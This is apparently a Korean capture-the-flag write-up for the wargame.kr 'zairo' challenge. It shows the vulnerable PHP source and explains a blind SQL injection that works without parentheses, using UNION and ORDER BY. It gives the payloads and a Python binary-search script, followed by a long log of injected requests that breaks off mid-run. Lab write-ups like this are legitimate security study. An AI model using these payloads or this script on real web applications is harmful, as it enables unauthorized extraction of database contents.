Oh! JUN

[wargame.kr] zairo (공부 많이 되는 문제!!)(blind_SQL_INJECTION 심화) 본문

문제풀이/DreamHack

[wargame.kr] zairo (공부 많이 되는 문제!!)(blind_SQL_INJECTION 심화)

Kwon Oh! JUN 2023. 2. 18. 00:32

<?php
    error_reporting(0);
    
    include("./config.php"); // hidden column name, $FLAG.

    mysql_connect("localhost","zairo","zairo_pz");
    mysql_select_db("zairo");

    /**********************************************************************************************************************/

    function rand_string()
    {
        $string = "1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);
    }

    function reset_flag($count_column, $flag_column)
    {
        global $count;
        $flag = rand_string();
        $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
        $count = $query[$count_column];
        if($query[$count_column] == 150)
        {
            if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo "reset flag<hr>";
            }
            return $flag;
        }
        else
        {
            mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return $query[$flag_column];
    }

    function get_pw($pw_column){
        $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return $query[$pw_column];
    }

    /**********************************************************************************************************************/

    $tmp_flag = "";
    $tmp_pw = "";
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    $flags = $_GET['flag'];
    $count = 0;
    if(isset($id))
    {
        if(preg_match("/information|schema|user|where|=/i", $id) || substr_count($id,"(") > 0) exit("no hack");
        if(preg_match("/information|schema|user|where|=/i", $pw) || substr_count($pw,"(") > 0) exit("no hack");
        $tmp_flag = reset_flag($count_column, $flag_column);
        $tmp_pw = get_pw($pw_column);
        $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        echo "<hr />NOW COUNT = {$count}<br />";
        if($query[$id_column])
        {
            if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo "good job!!<br />FLAG : <b>".$FLAG."</b><hr>";
            }
            else
            {
                echo "Hello ".$query[$id_column]."<hr>";
            }
        }
    }else {
        highlight_file(__FILE__);
    }
?>

ID와 PW는 기존문제랑 푸는 방법이 똑같습니다.

그런데!!

'(', ')' 소괄호를 아예 사용할 수가 없어서 flag를 기존과 동일한 방법으로 구할 수가 없습니다!

이전문제에서 150 카운트 되면 flag가 변경되니까 blind_SQL_INJECTION 사용할 수 없다고 했는데 

이번 문제에서 아주 야무지게 사용할 수 있습니다!!!

ID, PW_COLUMN, PW 구하는 방법은 이전과 똑같으니까 참고하시기 바랍니다.

 

ID ?id=' or 1%23 (id) zairowkdlfhdkel
PW_COLUMN ?id=' and 0 union select 1,&pw=,3,4,5%23 xvvcPw4coaa1sslfe
PW ?id=' union select 1,xvvcPw4coaa1sslfe,3,4,5 from findflag_2%23 URL 인젝션 전 : wkdlfhpw!!@%%#@@#
URL 인젝션 후 : wkdlfhpw!!%40%25%25%23%40%40%23

이전문제에서 확인했다시피 $query[$id_column]

쿼리값에서 id 컬럼의 데이터를 확인할 수 가 있었습니다.

 

그러면 flag가 위치하는 4번째 컬럼에 오름차순으로 order by시키면 

blind_sql_injection을 사용해서 flag문자와 일치하지 않으면 

id값인 'zairowkdlfhdkel'이 출력되고, 

flag문자와 일치하면 저희가 두번째 컬럼에 지정한 값이 출력되도록

조건 값을 설정하여 공격을 할 수 있습니다.

아래에 예시가 있습니다.

 

3번째 컬럼에 위치한 pw를 정렬(기본값 : 오름차순)해서 값이('a' == 'a'ssaf123sdfsdf) 일치하면

a가 상위 튜플에 위치한 것을 확인할 수 있습니다.

 

반면

값('b' == 'a'ssaf123sdfsdf)이 일치하지 않으면 목적값이

상위 튜플에 위치한 것을 확인할 수 있습니다. 

위에는 순서가 변화는 경계값만 확인했는데(하필 가장 상단의 'a'를 해서 확인을 할 수 가 없네...)

전체적으로 보면

(찾고자 하는 문자의 첫번째 값이 'e'일때)

a b c d e f g h i j
9999 9999 9999 9999 9999 kwonohjun kwonohjun kwonohjun kwonohjun kwonohjun

오름차순 정렬이니까 'e'포함 앞의 알파벳은 다 상위에 위치하게 되고

나머지는 하위에 위치하게 됩니다.

정리하면

flag(assaf123sdfsdf)와 하나 씩 매칭해서 일치하면 

내가 임의로 입력한 값 두번 째 컬럼에 위치한 '9999' 가 출력되게 되고

일치하지 않으면 $query[$id_column] 에 의해 id값인 'zairowkdlfhdkel'이 출력되게 됩니다.

(이전문제에서 확인했다시피 두번 째 컬럼이 웹에서 표현되는 컬럼입니다.)

문제로 돌아와서 잠깐 코드를 보면

        $string = "1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);

 

str_shuffle이 $string문자를 하나씩 랜덤으로 사용하면서 사용한 문자는 사라집니다.

($string 개수 : 36->35->34->33->...->1)

 

문자를 하나씩 대조한다고 하면 36+35+34+33+...+1

150개가 당연히 넘어가겠죠? ㅎㅎ

 

그래서 이진 탐색을 사용해서 공격을 해볼겁니다.

 

저는 36개의 문자의 중간은 (1+36)/2=18.5(반올림 : 19)

19가 9999이면 19번째 이상에 flag값 문자 하나가 존재하는거니까 19미만은 삭제

zairowkdlfhdkel면 19미만에 존재하는거니까 19이상은 삭제 이런식으로 할겁니다.

 

19번째 9999 flag>=19 19미만 삭제
19번째 zairowkdlfhdkel flag<19 19이상 삭제

flag의 첫번째 문자 : 'm'

1 2 3 4 5 6 7 8 9 10
0 1 2 3 4 5 6 7 8 9
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
11 12 13 14 15 16 17 18 19 20
a b c d e f g h i j
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
21 22 23 24 25 26 27 28 29 30
k l m n o p q r s t
9999 9999 9999 zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel
31 32 33 34 35 36        
u v w x y z        
zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel        

(1+36)/2=18.5(반올림: 19)

 

19는 9999니까 19미만 삭제

1~18 : 삭제

1 2 3 4 5 6 7 8 9 10
0 1 2 3 4 5 6 7 8 9
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
11 12 13 14 15 16 17 18 19 20
a b c d e f g h i j
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
21 22 23 24 25 26 27 28 29 30
k l m n o p q r s t
9999 9999 9999 zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel
31 32 33 34 35 36        
u v w x y z        
zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel        

(19+36)/2=26.5(반올림: 27)

 

27은 'zairowkdlfhdkel'니까 27이상 삭제

27~36 : 삭제

1 2 3 4 5 6 7 8 9 10
0 1 2 3 4 5 6 7 8 9
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
11 12 13 14 15 16 17 18 19 20
a b c d e f g h i j
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
21 22 23 24 25 26 27 28 29 30
k l m n o p q r s t
9999 9999 9999 zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel

 

31 32 33 34 35 36        
u v w x y z        
zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel        

(19+26)/2=22.5(반올림: 23)

 

23은 9999니까 23미만 삭제

19~22 : 삭제

1 2 3 4 5 6 7 8 9 10
0 1 2 3 4 5 6 7 8 9
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
11 12 13 14 15 16 17 18 19 20
a b c d e f g h i j
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
21 22 23 24 25 26 27 28 29 30
k l m n o p q r s t
9999 9999 9999 zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel
31 32 33 34 35 36        
u v w x y z        
zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel        

(23+26)/2=25

 

25는 'zairowkdlfhdkel'이니까 25이상 삭제

25~26 : 삭제

1 2 3 4 5 6 7 8 9 10
0 1 2 3 4 5 6 7 8 9
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
11 12 13 14 15 16 17 18 19 20
a b c d e f g h i j
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
21 22 23 24 25 26 27 28 29 30
k l m n o p q r s t
9999 9999 9999 zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel
31 32 33 34 35 36        
u v w x y z        
zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel        

(23+24)/2=23.5(반올림: 24)

 

24은 'zairowkdlfhdkel'이니까 24이상 삭제

24 : 삭제

1 2 3 4 5 6 7 8 9 10
0 1 2 3 4 5 6 7 8 9
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999
11 12 13 14 15 16 17 18 19 20
a b c d e f g h i j
9999 9999 9999 9999 9999 9999 9999 9999 9999 9999

 

21 22 23 24 25 26 27 28 29 30
k l m n o p q r s t
9999 9999 9999 zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel
31 32 33 34 35 36        
u v w x y z        
zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel zairowkdlfhdkel        

23 : 생존

위와 같은 방식으로 string 문자 개수 만큼 즉 36번을 반복하면 됩니다.

반복할때마다 $string = "1234567890abcdefghijklmnopqrstuvwxyz";

개수는 하나씩 줄어드니까 이진 탐색 횟수도 줄어듭니다.

이진 탐색 코드

import requests
import string
import math


url = "http://host3.dreamhack.games:21787/"
result=""
key=""
upw=""
key_flag=""
rand_num = "0123456789abcdefghijklmnopqrstuvwxyz"

for j in range(len(rand_num)-1):
    start = rand_num.index(rand_num[0])
    end = rand_num.index(rand_num[len(rand_num)-1])

    while start < end:
        middle = (start + end)/2
        param ="?id=%27%20or%201%20union%20select%201,9999,1,%20'"+result+rand_num[math.ceil(middle)]+"',1%20from%20findflag_2%20order%20by%204%23"
        res_url = url+param
        response = requests.get(res_url)
        print(res_url)
        
        if response.text.find("9999") >= 0: #오른쪽
            num = rand_num[math.ceil(middle):end+1]
            print("조회 : 9999")
            start = rand_num.index(rand_num[math.ceil(middle)])

        else:
            num = rand_num[start:math.ceil(middle)]
            print("조회 : id")
            end = rand_num.index(rand_num[math.ceil(middle)])-1

        print("start :",start)
        print("end :",end)
        print("num :",num)
        print("rand_num :",rand_num)
        print("\n")

    result = result + num
    rand_num = rand_num.replace(num,'')
    print("-----------------------------------------------------------")
    

print(result+rand_num)

출력:

.
.
.
.
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjsp',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 22
end : 22
num : p
rand_num : 0123456789acdefghilmnopqtuvwxyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspg',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 14
num : 0123456789acdef
rand_num : 0123456789acdefghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjsp7',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 7
end : 14
num : 789acdef
rand_num : 0123456789acdefghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspc',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 11
end : 14
num : cdef
rand_num : 0123456789acdefghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspe',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 13
end : 14
num : ef
rand_num : 0123456789acdefghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 14
end : 14
num : f
rand_num : 0123456789acdefghilmnoqtuvwxyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspfg',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 13
num : 0123456789acde
rand_num : 0123456789acdeghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf7',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 6
num : 0123456
rand_num : 0123456789acdeghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf3',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 3
end : 6
num : 3456
rand_num : 0123456789acdeghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf5',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 3
end : 4
num : 34
rand_num : 0123456789acdeghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 4
end : 4
num : 4
rand_num : 0123456789acdeghilmnoqtuvwxyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4h',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 14
end : 27
num : hilmnoqtuvwxyz
rand_num : 012356789acdeghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4t',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 21
end : 27
num : tuvwxyz
rand_num : 012356789acdeghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4w',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 24
end : 27
num : wxyz
rand_num : 012356789acdeghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4y',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 24
end : 25
num : wx
rand_num : 012356789acdeghilmnoqtuvwxyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 25
end : 25
num : x
rand_num : 012356789acdeghilmnoqtuvwxyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4xg',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 12
num : 012356789acde
rand_num : 012356789acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x7',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 5
num : 012356
rand_num : 012356789acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x3',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 3
end : 5
num : 356
rand_num : 012356789acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x5',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 4
end : 5
num : 56
rand_num : 012356789acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x6',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 5
end : 5
num : 6
rand_num : 012356789acdeghilmnoqtuvwyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x6h',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 12
num : 01235789acdeg
rand_num : 01235789acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 6
end : 12
num : 89acdeg
rand_num : 01235789acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x6c',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 6
end : 8
num : 89a
rand_num : 01235789acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x69',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 6
end : 6
num : 8
rand_num : 01235789acdeghilmnoqtuvwyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68h',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 12
end : 24
num : hilmnoqtuvwyz
rand_num : 0123579acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68q',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 12
end : 17
num : hilmno
rand_num : 0123579acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68m',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 12
end : 14
num : hil
rand_num : 0123579acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68i',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 13
end : 14
num : il
rand_num : 0123579acdeghilmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68l',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 13
end : 13
num : i
rand_num : 0123579acdeghilmnoqtuvwyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68ih',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 11
num : 0123579acdeg
rand_num : 0123579acdeghlmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68i9',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 6
end : 11
num : 9acdeg
rand_num : 0123579acdeghlmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68id',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 6
end : 8
num : 9ac
rand_num : 0123579acdeghlmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68ia',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 7
end : 8
num : ac
rand_num : 0123579acdeghlmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68ic',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 8
end : 8
num : c
rand_num : 0123579acdeghlmnoqtuvwyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68ich',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 11
end : 22
num : hlmnoqtuvwyz
rand_num : 0123579adeghlmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68ict',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 17
end : 22
num : tuvwyz
rand_num : 0123579adeghlmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68icw',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 20
end : 22
num : wyz
rand_num : 0123579adeghlmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68icy',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 21
end : 22
num : yz
rand_num : 0123579adeghlmnoqtuvwyz


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68icz',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 22
end : 22
num : z
rand_num : 0123579adeghlmnoqtuvwyz


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczh',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 11
end : 21
num : hlmnoqtuvwy
rand_num : 0123579adeghlmnoqtuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 16
end : 21
num : qtuvwy
rand_num : 0123579adeghlmnoqtuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczv',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 16
end : 18
num : qtu
rand_num : 0123579adeghlmnoqtuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczt',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 16
end : 16
num : q
rand_num : 0123579adeghlmnoqtuvwy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczqg',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 9
num : 0123579ade
rand_num : 0123579adeghlmnotuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq7',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 4
num : 01235
rand_num : 0123579adeghlmnotuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 2
end : 4
num : 235
rand_num : 0123579adeghlmnotuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq3',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 2
end : 2
num : 2
rand_num : 0123579adeghlmnotuvwy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2h',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 10
end : 19
num : hlmnotuvwy
rand_num : 013579adeghlmnotuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2t',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 10
end : 14
num : hlmno
rand_num : 013579adeghlmnotuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2m',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 12
end : 14
num : mno
rand_num : 013579adeghlmnotuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2n',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 13
end : 14
num : no
rand_num : 013579adeghlmnotuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2o',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 14
end : 14
num : o
rand_num : 013579adeghlmnotuvwy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2og',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 9
end : 18
num : ghlmntuvwy
rand_num : 013579adeghlmntuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ot',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 14
end : 18
num : tuvwy
rand_num : 013579adeghlmntuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ov',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 14
end : 15
num : tu
rand_num : 013579adeghlmntuvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ou',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 15
end : 15
num : u
rand_num : 013579adeghlmntuvwy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2oug',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 9
end : 17
num : ghlmntvwy
rand_num : 013579adeghlmntvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2oun',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 13
end : 17
num : ntvwy
rand_num : 013579adeghlmntvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouv',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 15
end : 17
num : vwy
rand_num : 013579adeghlmntvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 16
end : 17
num : wy
rand_num : 013579adeghlmntvwy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouy',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 16
end : 16
num : w
rand_num : 013579adeghlmntvwy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouwe',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 7
num : 013579ad
rand_num : 013579adeghlmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw7',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 3
num : 0135
rand_num : 013579adeghlmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw3',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 1
num : 01
rand_num : 013579adeghlmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw1',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 0
end : 0
num : 0
rand_num : 013579adeghlmntvy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0g',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 8
end : 15
num : ghlmntvy
rand_num : 13579adeghlmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0n',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 8
end : 11
num : ghlm
rand_num : 13579adeghlmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0l',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 10
end : 11
num : lm
rand_num : 13579adeghlmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0m',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 10
end : 10
num : l
rand_num : 13579adeghlmntvy


-----------------------------------------------------------
http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0le',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 7
end : 14
num : eghmntvy
rand_num : 13579adeghmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0ln',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
start : 11
end : 14
num : ntvy
rand_num : 13579adeghmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0lv',1%20from%20findflag_2%20order%20by%204%23
조회 : id
start : 11
end : 12
num : nt
rand_num : 13579adeghmntvy


http://host3.dreamhack.games:21787/?id=%27%20or%201%20union%20select%201,9999,1,%20'krbjspf4x68iczq2ouw0lt',1%20from%20findflag_2%20order%20by%204%23
조회 : 9999
